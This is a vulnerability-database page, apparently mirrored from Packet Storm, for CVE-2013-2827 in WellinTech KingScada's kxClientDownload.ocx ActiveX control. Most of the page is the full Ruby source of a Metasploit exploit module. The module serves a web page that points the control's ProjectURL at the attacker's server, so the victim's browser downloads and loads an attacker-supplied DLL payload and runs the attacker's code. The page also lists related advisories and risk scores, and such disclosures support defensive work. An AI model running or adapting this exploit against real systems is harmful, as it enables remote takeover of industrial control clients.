KingScada kxClientDownload.ocx ActiveX Remote Code Execution

🗓️ 11 Feb 2014 00:00:00Reported by Andrea MicalizziType

packetstorm🔗 packetstormsecurity.com👁 35 Views

KingScada kxClientDownload.ocx ActiveX Remote Code Execution. This module abuses the kxClientDownload.ocx ActiveX control to download and load arbitrary DLLs from arbitrary locations, leading to code execution when Protected Mode is not enabled

Reporter	Title	Published	Views	Family All 13
0day.today	KingScada kxClientDownload.ocx ActiveX Remote Code Execution	11 Feb 201400:00	–	zdt
Circl	CVE-2013-2827	11 Feb 201400:00	–	circl
Check Point Advisories	WellinTech Multiple Products kxClientDownload ActiveX Remote Code Execution (CVE-2013-2827)	13 Mar 201400:00	–	checkpoint_advisories
CVE	CVE-2013-2827	15 Jan 201416:00	–	cve
Cvelist	CVE-2013-2827	15 Jan 201416:00	–	cvelist
Exploit DB	KingScada - kxClientDownload.ocx ActiveX Remote Code Execution (Metasploit)	11 Feb 201400:00	–	exploitdb
ICS	WellinTech Vulnerabilities	12 Sep 201306:00	–	ics
Metasploit	KingScada kxClientDownload.ocx ActiveX Remote Code Execution	7 Feb 201400:25	–	metasploit
NVD	CVE-2013-2827	15 Jan 201416:08	–	nvd
Prion	Code injection	15 Jan 201416:08	–	prion

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',  
'Description' => %q{  
This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.  
The ProjectURL property can be abused to download and load arbitrary DLLs from  
arbitrary locations, leading to arbitrary code execution, because of a dangerous  
usage of LoadLibrary. Due to the nature of the vulnerability, this module will work  
only when Protected Mode is not present or not enabled.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Andrea Micalizzi', # aka rgod original discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2013-2827'],  
['OSVDB', '102135'],  
['BID', '64941'],  
['ZDI', '14-011'],  
['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']  
],  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
},  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:os_name => Msf::OperatingSystems::WINDOWS,  
:ua_name => /MSIE|KXCLIE/i  
},  
'Payload' =>  
{  
'Space' => 2048,  
'StackAdjustment' => -3500,  
'DisableNopes' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 14 2014'))  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Requested: #{request.uri}")  
  
if request.uri =~ /\/libs\/.*\.dll/  
print_good("Sending DLL payload")  
send_response(cli,  
generate_payload_dll(:code => get_payload(cli, target_info)),  
'Content-Type' => 'application/octet-stream'  
)  
return  
elsif request.uri =~ /\/libs\//  
print_status("Sending not found")  
send_not_found(cli)  
return  
end  
  
content = <<-EOS  
<html>  
<body>  
<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>  
<param name="ProjectURL" value="#{get_module_uri}"></param>  
</object>  
</body>  
</html>  
EOS  
  
print_status("Sending #{self.name}")  
send_response_html(cli, content)  
end  
  
end  
`

11 Feb 2014 00:00Current

0.6Low risk

Vulners AI Score0.6

EPSS0.60519